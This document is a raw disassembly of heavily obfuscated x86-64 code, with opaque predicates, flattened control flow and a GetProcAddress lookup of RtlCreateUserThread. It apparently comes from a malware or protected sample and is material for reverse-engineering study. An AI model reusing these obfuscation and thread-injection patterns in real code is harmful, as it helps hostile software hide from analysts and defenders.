xor eax, 0x4088241
mov ecx, eax
and ecx, edx
xor edx, eax
or edx, ecx
mov eax, edx
not eax
and eax, 0x3faf44f1
and edx, 0xc050bb0e
or edx, eax
xor edx, 0xc6583441
setne bl
cmp r8d, 9
setg cl
cmp r8d, 0xa
setl al
mov edx, eax
xor dl, bl
xor dl, 1
or cl, dl
xor cl, 1
or bl, al
and dl, al
mov eax, ebx
xor al, dl
xor dl, 1
xor al, 1
or dl, bl
xor dl, 1
or dl, al
xor dl, cl
mov eax, edx
not al
and al, cl
mov ebx, edx
xor bl, al
test dl, 1
mov ecx, 0x1f53fc65
mov edx, 0xbe710ab6
cmovne ecx, edx
test al, al
mov eax, 0x1f53fc65
cmove ecx, eax
jmp 0x140159d11
mov ecx, 0x21cb906a
cmp ecx, 0xf7d71d84
jg 0x14014db60
jmp 0x14014d70c
mov edx, dword [0x14024b6d8]
mov esi, dword [0x14024b6d4]
lea ebp, [rdx - 1]
imul ebp, edx
mov ecx, ebp
not ecx
mov ebx, ecx
and ebx, 0xfffffffe
mov edx, ebp
xor edx, 0xfffffffe
and edx, ebp
mov edi, ebx
and edi, edx
xor edx, ebx
or edx, edi
and ecx, 0xd9019638
and ebp, 0x26fe69c7
or ebp, ecx
mov ecx, ebp
xor ecx, 0x26d42004
mov edi, edx
not edi
mov ebx, edi
and ebx, 0x902a5de3
and edx, 0x6fd5a21c
or edx, ebx
xor ebp, 0x90001420
and ebp, 0x902a5de3
and ecx, 0x6fd5a21c
or ecx, ebp
xor ecx, edx
not ecx
or ecx, edi
cmp ecx, 0xffffffff
setne r10b
sete al
cmp esi, 0xa
setl r8b
cmp esi, 9
setg cl
mov r9d, ecx
xor r9b, al
xor al, r10b
and al, r10b
mov ebx, eax
xor bl, 1
or bl, al
xor bl, 1
mov edx, eax
and dl, bl
xor bl, al
or bl, dl
xor bl, r8b
mov r8d, ebx
xor r8b, 1
mov edx, ecx
xor dl, r10b
or cl, r10b
xor cl, 1
or cl, dl
mov edx, r9d
xor dl, cl
or cl, r9b
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, 1
and cl, dl
mov eax, edx
and al, cl
xor cl, dl
or cl, al
mov eax, r8d
and al, bl
mov edx, eax
xor dl, 1
xor al, r8b
or dl, bl
xor dl, 1
or dl, al
mov eax, edx
xor al, 1
and al, cl
xor cl, 1
and dl, cl
or dl, al
mov eax, ebx
and al, cl
xor cl, bl
or cl, al
mov eax, ecx
xor al, dl
test cl, 1
mov ecx, 0x77407b09
mov ebp, 0xd0c46327
cmovne ecx, ebp
test dl, 1
cmove ecx, ebp
test al, 1
mov eax, 0x77407b09
jmp 0x14015c0d8
mov ecx, dword [0x14024b6d8]
mov eax, dword [0x14024b6d4]
lea ebp, [rcx - 1]
imul ebp, ecx
mov ecx, ebp
mov edx, ebp
xor edx, 0xd938bf75
and edx, ebp
not ebp
and ebp, 0xd9108d55
and ecx, 0x283220
or ecx, ebp
xor ecx, 0x283220
mov ebp, ecx
and ebp, edx
xor edx, ecx
or edx, ebp
mov ecx, edx
not ecx
and ecx, 0xbd680428
and edx, 0x4297fbd7
or edx, ecx
mov ecx, edx
xor ecx, 0x9baf44a2
mov ebp, edx
xor ebp, 0x9baf44a3
and ebp, ecx
xor edx, 0x6450bb5c
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
mov edx, ebp
and edx, ecx
xor ecx, ebp
or ecx, edx
mov edx, ecx
not edx
and edx, 0x13123ac0
mov ebp, ecx
and ebp, 0x2cc9811d
or ebp, edx
xor ebp, 0x2cc9811d
and ecx, 0xc0244422
or ecx, ebp
mov edx, ecx
not edx
and edx, 0xc0244422
and ecx, 0x3fdbbbdd
or ecx, edx
sete r9b
setne r8b
cmp eax, 9
setg bl
cmp eax, 0xa
setl al
and r8b, al
mov ecx, r9d
xor cl, bl
and bl, r9b
or bl, r8b
xor cl, 1
mov edx, eax
xor dl, r9b
and al, r9b
or al, dl
xor al, 1
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov ecx, eax
not cl
mov edx, ebx
xor dl, 1
and cl, dl
or dl, al
and al, bl
or al, cl
mov ecx, eax
xor cl, dl
test al, al
mov eax, 0xd8f4cca4
mov ebp, 0x5e3ea208
cmovne eax, ebp
test dl, 1
cmovne eax, r12d
test cl, 1
cmove eax, ebp
jmp 0x14015bf32
mov ecx, 0x18c3e98a
cmp ecx, 0xf7d71d84
jg 0x14014db60
jmp 0x14014d70c
mov ecx, dword [0x14024b6d8]
mov eax, dword [0x14024b6d4]
lea ebp, [rcx - 1]
imul ebp, ecx
mov edx, ebp
mov ecx, ebp
xor ecx, 0x8ead4d32
and ecx, ebp
not ebp
and ebp, 0x8e244802
and edx, 0x890530
or edx, ebp
xor edx, 0x890530
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0x7152b2cd
and ecx, 0x8ead4d32
or ecx, edx
mov edx, ecx
xor edx, 1
and edx, ecx
mov ebp, ecx
not ebp
and ebp, 0xfffffffe
and ecx, 1
or ecx, ebp
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
xor edx, 0xc9c0f7ed
and edx, ecx
not ecx
and ecx, 0xc9c0f7ed
mov ebp, ecx
and ebp, edx
xor edx, ecx
or edx, ebp
mov ecx, edx
not ecx
and ecx, 0x363f0812
and edx, 0xc9c0f7ed
or edx, ecx
mov ecx, edx
not ecx
and edx, 0xdee9d710
and ecx, 0x211628ef
or ecx, edx
mov edx, ecx
xor edx, 0xca618600
xor ecx, 0x210020cd
and ecx, 0x358871dd
and edx, 0xca778e22
or edx, ecx
xor edx, 0xca778e22
sete r10b
setne cl
cmp eax, 0xa
setl r8b
cmp eax, 9
setg al
mov ebx, eax
and bl, cl
mov r11d, eax
xor r11b, cl
or r11b, bl
mov r9d, r11d
xor r9b, 1
xor al, r10b
not al
and al, r10b
xor cl, r8b
not cl
and cl, r8b
mov ebx, eax
xor bl, 1
xor al, cl
xor cl, 1
or cl, bl
xor cl, 1
or cl, al
mov eax, ecx
xor al, 1
mov ebx, r9d
and bl, r11b
xor bl, 1
mov r8d, ebx
xor r8b, r11b
or bl, r11b
xor bl, 1
or bl, r8b
mov edx, ebx
xor dl, 1
and dl, cl
and bl, al
or bl, dl
xor al, r11b
or cl, r9b
xor cl, 1
or cl, al
mov eax, ecx
xor al, bl
test cl, 1
mov ecx, 0x92cb5a17
mov edx, 0x50568346
cmovne ecx, edx
test bl, 1
cmove ecx, edx
test al, 1
mov eax, 0x92cb5a17
jmp 0x14015c0d8
mov ecx, dword [0x14024b6d8]
mov eax, dword [0x14024b6d4]
lea edi, [rcx - 1]
imul edi, ecx
mov ecx, edi
not ecx
mov ebp, ecx
and ebp, 0xe8199a20
mov edx, edi
and edx, 0x17e665de
or edx, ebp
xor edx, 0x17e665de
mov ebx, edi
and ebx, 1
or ebx, edx
mov edx, ebx
not edx
and ecx, edx
and ebx, edi
or ebx, ecx
not ebx
or ebx, edx
cmp ebx, 0xffffffff
setne cl
cmp eax, 0xa
setl dl
cmp eax, 9
setg al
mov ebx, eax
and bl, cl
xor al, cl
or al, bl
mov r8d, eax
xor r8b, 1
mov ebx, ecx
or bl, dl
xor bl, 1
xor cl, dl
not cl
and cl, dl
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
mov edx, ecx
xor dl, 1
and cl, al
or al, dl
and dl, r8b
or dl, cl
mov ecx, edx
xor cl, al
test dl, dl
mov edx, 0x43b7af37
mov ebp, 0x73975b12
cmovne edx, ebp
test al, 1
mov eax, 0x43b7af37
jmp 0x14015a764
mov ecx, 0x958c5b45
cmp ecx, 0xf7d71d84
jg 0x14014db60
jmp 0x14014d70c
mov ecx, dword [0x14024b6d8]
mov eax, dword [0x14024b6d4]
lea ebp, [rcx - 1]
imul ebp, ecx
mov edx, ebp
not edx
mov ecx, ebp
or ecx, 1
mov ebx, ecx
not ebx
and ebp, 0x816ea289
and edx, 0x7e915d76
or edx, ebp
mov ebp, edx
xor ebp, 0x14911851
xor edx, 0x816ea288
mov edi, ecx
and edi, 0x6b64e526
and ebx, 0x949b1ad8
or ebx, edi
or ecx, edx
and edx, 0x6b64e526
and ebp, 0x949b1ad9
or ebp, edx
xor ebp, ebx
not ecx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0x34087754
and ecx, 0xcbf788ab
or ecx, edx
mov edx, ecx
xor edx, 0x4865008b
xor ecx, 0x34087754
mov ebp, ecx
and ebp, 0xa79aff64
and edx, 0x5865009b
or edx, ebp
xor edx, 0xa79aff64
xor ecx, edx
test ecx, edx
sete r9b
cmp eax, 9
setg dl
cmp eax, 0xa
setl r8b
mov ecx, r9d
xor cl, r8b
mov eax, ecx
xor al, 1
mov ebx, eax
xor bl, dl
and bl, al
xor dl, r9b
not dl
and dl, r9b
and cl, r8b
mov eax, edx
and al, cl
xor cl, dl
or cl, al
xor cl, bl
mov eax, ecx
not al
and al, bl
mov edx, ecx
xor dl, al
test cl, cl
mov ecx, 0xeaa6933f
mov ebx, 0x37808b2c
cmovne ecx, ebx
mov rbp, qword [0x14024b040]
test al, al
mov eax, 0xeaa6933f
cmove ecx, eax
mov qword [rsp + 0x30], rbp
test dl, dl
cmovne ecx, ebx
cmp ecx, 0xf7d71d84
jg 0x14014db60
jmp 0x14014d70c
mov rdi, qword [rsp + 0x38]
mov ecx, dword [0x14024b6d8]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
xor ecx, 0xfffffffe
and ecx, edx
not edx
mov ebp, edx
and ebp, 0xfffffffe
mov ebx, ebp
and ebx, ecx
xor ecx, ebp
or ecx, ebx
mov ebp, ecx
not ebp
and ebp, 0x45202646
and ecx, 0xbadfd9b9
or ecx, ebp
xor ecx, 0xbadfd9b9
mov ebp, ecx
and ebp, edx
xor ecx, edx
or ecx, ebp
cmp ecx, 0xffffffff
sete r8b
setne dl
cmp dword [0x14024b6d4], 9
setg cl
mov ebx, ecx
and bl, dl
xor dl, cl
or dl, bl
mov r9d, edx
xor r9b, 1
mov eax, ecx
xor al, r8b
not al
and al, r8b
or cl, r8b
xor cl, 1
mov ebx, eax
and bl, cl
xor cl, al
or cl, bl
mov eax, ecx
xor al, 1
and dl, r9b
and al, cl
mov ebx, edx
and bl, r9b
xor dl, r9b
or dl, bl
mov ebx, eax
and bl, cl
xor al, cl
or al, bl
xor al, dl
mov edx, r9d
xor dl, cl
or cl, r9b
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, al
test cl, 1
mov ecx, 0x1a30f5e4
mov ebp, 0xeb69e147
cmovne ecx, ebp
mov qword [0x14024b0b0], rdi
test al, 1
cmove ecx, ebp
not dl
test dl, 1
mov eax, 0x1a30f5e4
jmp 0x140159a39
mov ecx, 0xd3857743
cmp ecx, 0xf7d71d84
jg 0x14014db60
jmp 0x14014d70c
mov ecx, dword [0x14024b6d8]
mov eax, dword [0x14024b6d4]
lea esi, [rcx - 1]
imul esi, ecx
mov ebp, esi
not ebp
mov edx, esi
or edx, 0x9bbbbd43
mov edi, edx
not edi
mov ecx, ebp
or ecx, 0x644442bc
mov ebx, ecx
not ebx
and edx, 0xe9b28f6a
and edi, 0x4444094
or edi, edx
and ecx, 0xe9b28f6a
and ebx, 0x12093001
or ebx, ecx
xor ebx, edi
mov ecx, ebx
not ecx
and ecx, 0x9bbbbd42
and ebx, 0x644442bd
or ebx, ecx
mov ecx, ebx
not ecx
mov edx, ecx
and edx, 0x81d8b411
and ebx, 0x7e274bee
or ebx, edx
and esi, 0x81d8b411
and ebp, 0x7e274bee
or ebp, esi
xor ebp, ebx
xor ecx, ebp
test ecx, ebp
setne r8b
sete r9b
cmp eax, 0xa
setl r11b
cmp eax, 9
setg cl
mov eax, r9d
xor al, r8b
and al, r9b
mov ebx, eax
xor bl, 1
or al, bl
mov r10d, ebx
xor r10b, al
or al, bl
xor al, 1
or al, r10b
mov ebx, eax
and bl, cl
xor al, 1
and al, r11b
or al, bl
or r11b, r9b
xor r11b, 1
xor cl, r8b
mov edx, r11d
and dl, cl
xor cl, r11b
or cl, dl
xor cl, al
and al, cl
mov edx, ecx
xor dl, al
test cl, cl
mov ecx, 0xd95b6e45
mov ebp, 0x646aeb18
cmovne ecx, ebp
test al, al
cmove ecx, ebp
test dl, 1
mov eax, 0xd95b6e45
jmp 0x14015c0d8
mov ecx, dword [0x14024b6d8]
mov eax, dword [0x14024b6d4]
lea ebp, [rcx - 1]
imul ebp, ecx
mov ecx, ebp
not ecx
and ecx, 0xc1058822
mov edx, ebp
and edx, 0x1a5a0088
or edx, ecx
xor edx, 0x1a5a0088
and ebp, 0x24a07755
or ebp, edx
mov ecx, ebp
not ecx
and ecx, 0x24a07755
and ebp, 0xdb5f88aa
or ebp, ecx
mov ecx, ebp
mov edx, ebp
xor edx, 0xe6a6234b
and edx, ebp
not ebp
and ebp, 0xb6b8a930
and ecx, 0x494756cf
or ecx, ebp
mov ebp, ecx
xor ebp, 0x494756cf
mov ebx, ecx
xor ebx, 0x501e8a7b
and ebx, ebp
mov edi, ebx
and edi, edx
xor edx, ebx
or edx, edi
mov ebx, edx
not ebx
and ebx, 0x1959dcb5
and edx, 0xe6a6234a
or edx, ebx
and ebp, 1
xor ecx, 0x494756ce
or ecx, ebp
not ecx
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0x18ad9a1a
and edx, ecx
and ecx, 0xe75265e5
or ecx, ebp
mov ebp, ecx
xor ebp, 0x210204a1
xor ecx, 0x18ad9a1a
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0xc675e94c
and ebp, 0x398a16b3
or ebp, edi
or ecx, ebx
and ebx, 0xc675e94c
and edx, 0x398a16b3
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0x56529a6a
and ecx, 0xa9ad6595
or ecx, edx
mov edx, ecx
xor edx, 0xa1a42590
xor ecx, 0x54128a6a
and ecx, 0x5c1bca6f
and edx, 0xa3e43590
or edx, ecx
xor edx, 0x5c1bca6f
cmp edx, 0xffffffff
setne r8b
sete cl
cmp eax, 9
setg bl
cmp eax, 0xa
setl r9b
mov eax, ecx
xor al, r9b
mov edx, eax
and dl, cl
and al, r9b
mov r10d, edx
xor r10b, 1
xor dl, al
xor al, 1
or al, r10b
xor al, 1
or al, dl
and r9b, r8b
and cl, bl
or cl, r9b
mov edx, ebx
xor dl, r8b
or bl, r8b
xor bl, 1
or bl, dl
xor cl, 1
mov edx, ecx
xor dl, bl
or cl, bl
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, 1
mov ebx, eax
xor bl, 1
and dl, bl
or bl, cl
and cl, al
or cl, dl
mov eax, ebx
xor al, cl
test cl, 1
mov ecx, 0x387d438d
mov ebp, 0xb995bff0
cmovne ecx, ebp
test bl, 1
mov edx, 0x387d438d
cmovne ecx, edx
jmp 0x14015aecd
mov ecx, dword [0x14024b6d8]
mov eax, dword [0x14024b6d4]
lea ebp, [rcx - 1]
imul ebp, ecx
mov ebx, ebp
not ebx
mov ecx, ebx
and ecx, 0xe8914b78
mov edx, ebp
xor edx, 0xe8914b78
and edx, ebp
mov edi, ecx
and edi, edx
xor edx, ecx
or edx, edi
mov ecx, edx
not ecx
and ecx, 0x176eb486
and edx, 0xe8914b79
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x4b9795e6
and edx, 0xb4686a19
or edx, ecx
mov ecx, edx
xor ecx, 0x482001
xor edx, 0x4b9795e6
mov edi, edx
and edi, 0xfea5df1e
and ecx, 0x15a20e1
or ecx, edi
or edx, ebp
and ebp, 0xfea5df1e
and ebx, 0x15a20e1
or ebx, ebp
xor ebx, ecx
not edx
or edx, ebx
cmp edx, 0xffffffff
sete dl
setne r8b
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
mov ecx, ebx
or cl, dl
and dl, al
xor al, r8b
xor cl, 1
or cl, al
mov eax, ecx
xor al, 1
and bl, r8b
or bl, dl
mov r8d, ebx
xor r8b, 1
mov edx, ecx
and dl, al
xor cl, dl
xor dl, 1
or dl, al
xor dl, 1
or dl, cl
mov ecx, edx
xor cl, 1
and cl, r8b
and dl, bl
or dl, cl
mov ecx, eax
xor cl, bl
or bl, al
xor bl, 1
or bl, cl
mov eax, ebx
xor al, dl
test bl, 1
mov ecx, 0x9e8bd92c
mov ebp, 0xe317c01d
cmovne ecx, ebp
test dl, dl
cmove ecx, ebp
not al
test al, 1
mov eax, 0x9e8bd92c
jmp 0x140159a39
mov ecx, 0xadc22316
cmp ecx, 0xf7d71d84
jg 0x14014db60
jmp 0x14014d70c
mov r8, qword [rsp + 0x38]
mov edx, dword [0x14024b6d8]
mov ecx, dword [0x14024b6d4]
lea edi, [rdx - 1]
imul edi, edx
mov edx, edi
not edx
mov ebp, edi
and ebp, 0x33cfe593
xor edi, 0xaca66608
and edi, edx
and edx, 0xcc301a6c
or edx, ebp
mov ebx, edx
xor ebx, 0x13498193
or ebx, 0xaca66608
mov ebp, ebx
not ebp
mov esi, ebx
and esi, 0x967e3a3b
and ebp, 0x410181c4
or ebp, esi
mov esi, edi
not esi
or ebx, esi
and esi, 0x967e3a3b
and edi, 0x6981c5c4
or edi, esi
xor edi, ebp
not ebx
or ebx, edi
mov ebp, ebx
not ebp
and ebp, 0xaca66609
and ebx, 0x535999f6
or ebx, ebp
mov ebp, edx
and ebp, 1
xor edx, 0xcc301a6d
or edx, ebp
mov ebp, edx
not ebp
and ebp, 0x71972a55
and edx, 0x8e68d5aa
or edx, ebp
xor edx, 0x8e68d5aa
mov ebp, ebx
and ebp, edx
xor edx, ebx
or edx, ebp
mov ebp, edx
xor ebp, 0x93545058
and ebp, edx
not edx
and edx, 0x93545058
mov ebx, edx
and ebx, ebp
xor ebp, edx
or ebp, ebx
mov edx, ebp
not edx
and edx, 0xb2eeedb5
and ebp, 0x4d11124a
or ebp, edx
xor ebp, 0xde454212
setne dl
sete r9b
cmp ecx, 0xa
setl al
cmp ecx, 9
setg cl
mov ebx, r9d
and bl, cl
and dl, al
or dl, bl
xor cl, r9b
mov ebx, eax
xor bl, r9b
and al, r9b
or al, bl
mov ebx, ecx
xor bl, al
or al, cl
xor al, 1
or al, bl
xor al, dl
and dl, al
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x980e244e
mov ebp, 0xbfd7a98
cmovne ecx, ebp
test al, 1
mov eax, 0x980e244e
cmovne eax, ecx
mov qword [0x14024b0b0], r8
test dl, dl
jmp 0x14014d6f9
mov ecx, dword [0x14024b6d8]
mov eax, dword [0x14024b6d4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0x11408dad
and edx, 0xeebf7252
or edx, ecx
mov ebp, edx
xor ebp, 0xe0e0040
xor edx, 0x1400485
and edx, 0xe1f17697
and ebp, 0x1e0e8968
or ebp, edx
mov edx, ebp
xor edx, 0xe1f17697
xor ebp, 0x18028940
and ebp, 0xd992dd57
mov ecx, edx
and ecx, 0x266d22a8
or ecx, ebp
mov ebp, ecx
xor ebp, 0x266d22a8
mov ebx, ecx
xor ebx, 0x37b5835d
and ebx, ebp
and edx, 0x11d8a1f5
mov edi, ebx
and edi, edx
xor edx, ebx
or edx, edi
mov ebx, edx
not ebx
and ebx, 0xc17ed8d5
and edx, 0x3e81272a
or edx, ebx
xor edx, 0xd0a67921
and ebp, 1
xor ecx, 0x266d22a9
or ecx, ebp
not ecx
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
mov ebp, ecx
xor ebp, 0xefe77f4e
and ebp, ecx
or ecx, 0x101880b1
mov ebx, ebp
not ebx
mov edi, ecx
and edi, 0x8245c6e
and edx, 0xe7c32300
or edx, edi
or ecx, ebx
and ebx, 0x8245c6e
and ebp, 0xf7dba391
or ebp, ebx
xor ebp, edx
not ecx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0x101880b1
and ecx, 0xefe77f4e
or ecx, edx
mov edx, ecx
not edx
and edx, 0x62478025
and ecx, 0x9db87fda
or ecx, edx
xor ecx, 0x9db87fda
cmp ecx, 0xffffffff
sete r8b
setne cl
cmp eax, 9
setg bl
cmp eax, 0xa
setl r9b
mov r10d, r9d
xor r10b, cl
mov edx, r10d
xor dl, 1
mov eax, ebx
xor al, r8b
and al, bl
and cl, r9b
and bl, r8b
or bl, cl
mov ecx, eax
xor cl, 1
xor al, bl
xor bl, 1
or bl, cl
xor bl, 1
or bl, al
mov eax, ebx
xor al, 1
and dl, r10b
mov ecx, ebx
and cl, al
mov r8d, r10d
and r8b, dl
xor dl, r10b
or dl, r8b
xor cl, 1
mov r8d, eax
xor r8b, cl
or cl, al
xor cl, 1
or cl, r8b
mov eax, edx
xor al, 1
and al, cl
xor cl, 1
and cl, dl
or cl, al
mov eax, r10d
and al, bl
xor bl, r10b
or bl, al
mov eax, ebx
xor al, cl
test al, 1
mov eax, 0x7d731e56
mov edx, 0x9317040
cmovne eax, edx
test bl, 1
mov edx, 0x7d731e56
jmp 0x14015859e
mov ecx, dword [0x14024b6d8]
mov eax, dword [0x14024b6d4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
mov ebp, ecx
and ebp, 0xfffffffe
mov ebx, edx
and ebx, 1
or ebx, ebp
and ecx, 0xf9049b11
and edx, 0x6fb64ee
or edx, ecx
mov ecx, edx
xor ecx, 0x6fb64ee
xor edx, 0xf9049b11
and edx, ebx
not ebx
and ecx, ebx
or edx, ecx
xor ebx, edx
test ebx, edx
sete r8b
setne r10b
cmp eax, 9
setg bl
cmp eax, 0xa
setl r9b
mov edx, r10d
or dl, r9b
xor dl, 1
mov eax, r10d
xor al, r9b
not al
and al, r9b
mov ecx, edx
and cl, al
xor al, dl
or al, cl
mov ecx, ebx
xor cl, r8b
and cl, bl
and r10b, r9b
and bl, r8b
or bl, r10b
mov edx, ecx
and dl, bl
xor bl, cl
or bl, dl
mov ecx, ebx
xor cl, al
xor al, 1
or al, bl
xor cl, 1
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0xf5dce41f
mov ebp, 0x9c0a9e34
cmovne edx, ebp
test cl, 1
mov ecx, edx
mov ebp, 0xf5dce41f
jmp 0x14015c31d
mov edx, dword [0x14024b6d8]
mov eax, dword [0x14024b6d4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0xc5bc0081
and edx, ecx
and ecx, 0x3a43ff7e
or ecx, ebp
xor ecx, 0x3a43ff7e
mov ebp, ecx
and ebp, edx
xor ecx, edx
or ecx, ebp
mov ebp, ecx
not ebp
mov ebx, ebp
and ebx, 0x22a7bbb4
mov edx, ecx
and edx, 0xdd58444b
or edx, ebx
mov ebx, edx
not ebx
and ebx, 0x6ed512d6
and edx, 0x912aed29
or edx, ebx
mov ebx, edx
xor ebx, 0x210d4600
and ebp, 1
xor ecx, 0xfffffffe
or ecx, ebp
mov ebp, ecx
not ebp
xor edx, 0x4c72a963
mov edi, edx
and edi, 0x96f298bc
and ebx, 0x690d6743
or ebx, edi
or edx, ecx
and ecx, 0x96f298bc
and ebp, 0x690d6743
or ebp, ecx
xor ebp, ebx
not edx
or edx, ebp
mov ecx, edx
not ecx
and ecx, 0x8e7f3204
and edx, 0x7180cdfb
or edx, ecx
mov ecx, edx
xor ecx, 0x6180c47b
xor edx, 0x40b0000
and edx, 0x140b0980
and ecx, 0xebf4f67f
or ecx, edx
mov edx, ecx
xor edx, 0x40a0980
xor ecx, 0x2900b669
and ecx, 0x3901b669
and edx, 0xc6fe4996
or edx, ecx
xor edx, 0xc6fe4996
cmp edx, 0xffffffff
sete r8b
setne bl
cmp eax, 0xa
setl cl
cmp eax, 9
setg al
mov edx, ebx
and dl, al
or bl, cl
and cl, r8b
or cl, dl
xor cl, 1
or cl, al
or al, r8b
mov edx, ebx
xor dl, al
or al, bl
xor al, 1
or al, dl
mov edx, eax
xor dl, cl
xor cl, 1
mov ebx, ecx
xor bl, al
xor dl, 1
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
xor al, bl
test al, 1
mov eax, 0x2b5519b4
mov edx, 0x3a76829e
cmovne eax, edx
test cl, 1
mov ecx, 0x2b5519b4
jmp 0x14015bb91
mov ecx, 0xa9babeb5
cmp ecx, 0xf7d71d84
jg 0x14014db60
jmp 0x14014d70c
mov ecx, 0x545deeff
cmp ecx, 0xf7d71d84
jg 0x14014db60
jmp 0x14014d70c
mov r8, qword [rsp + 0x38]
mov edx, dword [0x14024b6d8]
mov ecx, dword [0x14024b6d4]
lea ebp, [rdx - 1]
imul ebp, edx
mov esi, ebp
not esi
mov edi, esi
and edi, 0x40320a60
mov edx, ebp
and edx, 0x90480184
or edx, edi
mov edi, edx
xor edi, 4
xor edx, 0x6fb7fe7b
mov ebx, ebp
xor ebx, 0xd07a0be4
and ebx, ebp
mov eax, edx
and eax, 0xf95c59a0
and edi, 0x220244
or edi, eax
mov eax, ebx
not eax
or edx, eax
and eax, 0xf95c59a0
and ebx, 0x6a3a65f
or ebx, eax
xor ebx, edi
not edx
or edx, ebx
mov eax, edx
not eax
and eax, 0x2f85f41a
and edx, 0xd07a0be5
or edx, eax
mov eax, edx
not eax
and eax, 0x50bd537e
and edx, 0xaf42ac81
or edx, eax
mov eax, edx
xor eax, 0xa4022400
xor edx, 0x50bd537e
mov ebx, edx
and ebx, 0x1b70dbc7
and eax, 0xe48f2438
or eax, ebx
or edx, ebp
and ebp, 0x1b70dbc7
and esi, 0xe48f2438
or esi, ebp
xor esi, eax
not edx
or edx, esi
mov eax, edx
not eax
and eax, 0xd0c8b1a9
and edx, 0x2f374e56
or edx, eax
xor edx, 0x2f374e56
sete r9b
setne bl
cmp ecx, 0xa
setl dl
cmp ecx, 9
setg cl
mov eax, ecx
xor al, bl
or bl, dl
or dl, r9b
xor dl, 1
or dl, al
mov r10d, edx
xor r10b, 1
or cl, r9b
mov eax, ebx
xor al, cl
or cl, bl
xor cl, 1
or cl, al
mov eax, ecx
xor al, 1
and cl, dl
or dl, al
and al, r10b
or al, cl
mov ecx, edx
xor cl, al
test cl, 1
mov ebp, 0xa8067ff9
mov ecx, 0xbfb6ecca
cmovne ebp, ecx
test al, 1
mov ecx, ebp
mov eax, 0xa8067ff9
cmovne ecx, eax
mov qword [0x14024b0b0], r8
jmp 0x14015ba5e
mov rcx, qword [rsp + 0x30]
lea rdx, str.RtlCreateUserThread
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edx, dword [0x14024b6d8]
lea ebp, [rdx - 1]
imul ebp, edx
mov edi, ebp
not edi
mov ebx, edi
and ebx, 0x101f0d41
mov edx, ebp
and edx, 0xefe0f2be
or edx, ebx
mov ebx, edx
xor ebx, 0x4040800a
xor edx, 0x190c40
mov ecx, ebp
xor ecx, 0xe0798cce
and ecx, ebp
or edx, 0x1f867331
mov esi, edx
and esi, 0xbd205fc4
and ebx, 0x4059800a
or ebx, esi
mov esi, ecx
not esi
or edx, esi
and esi, 0xbd205fc4
and ecx, 0x42dfa03b
or ecx, esi
xor ecx, ebx
not edx
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x1f867330
and edx, 0xe0798ccf
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x4dacd653
and edx, 0xb25329ac
or edx, ecx
mov ecx, edx
xor ecx, 0xa01228a8
xor edx, 0x4dacd653
mov ebx, edx
and ebx, 0x5f658704
and ecx, 0xa09a78fb
or ecx, ebx
or edx, ebp
and ebp, 0x5f658704
and edi, 0xa09a78fb
or edi, ebp
xor edi, ecx
not edx
or edx, edi
cmp edx, 0xffffffff
sete cl
setne r9b
cmp dword [0x14024b6d4], 9
setg r8b
xor r9b, r8b
mov r10d, r9d
xor r10b, 1
xor cl, r8b
and cl, r8b
mov r8d, ecx
and r8b, r9b
xor cl, r9b
or cl, r8b
mov ebx, ecx
not bl
and bl, r10b
or r10b, cl
and cl, r9b
or cl, bl
mov edx, r10d
xor dl, cl
mov edx, 0x4a0ecdf0
mov ebp, 0xa6f22c14
cmovne edx, ebp
test cl, cl
mov ecx, edx
mov ebp, 0x4a0ecdf0
cmovne ecx, ebp
mov qword [rsp + 0x38], rax
test r10b, r10b
jmp 0x14015c322
mov edx, dword [0x14024b6d8]
mov eax, dword [0x14024b6d4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
and ecx, edx
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov ebx, ecx
not ebx
mov ebp, ebx
and ebp, 0x890a0fba
mov edx, ecx
xor edx, 0x890a0fba
and edx, ecx
mov edi, ebp
and edi, edx
xor edx, ebp
or edx, edi
mov ebp, edx
not ebp
and ebp, 0x76f5f044
and edx, 0x890a0fbb
or edx, ebp
and ebx, 1
xor ecx, 0xfffffffe
or ecx, ebx
mov ebp, ecx
not ebp
and ebp, 0xe07004f4
and ecx, 0x1f8ffb0b
or ecx, ebp
mov ebp, ecx
xor ebp, 0xb857201
mov ebx, edx
not ebx
xor ecx, 0xe07004f4
mov edi, ebx
and edi, 0xf45a896a
and edx, 0xba57695
or edx, edi
or ebx, ecx
and ecx, 0xf45a896a
and ebp, 0xba57695
or ebp, ecx
xor ebp, edx
not ebx
or ebx, ebp
mov ecx, ebx
mov edx, ebx
xor edx, 0xdf6417c3
and edx, ebx
not ebx
and ebx, 0xe000742
and ecx, 0xd1641081
or ecx, ebx
xor ecx, 0xd1641081
mov ebp, ecx
and ebp, edx
xor edx, ecx
or edx, ebp
mov ecx, edx
not ecx
and ecx, 0x5e1ce278
and edx, 0xa1e31d87
or edx, ecx
mov ecx, edx
xor ecx, 0x78840a44
xor edx, 0x8178f5bb
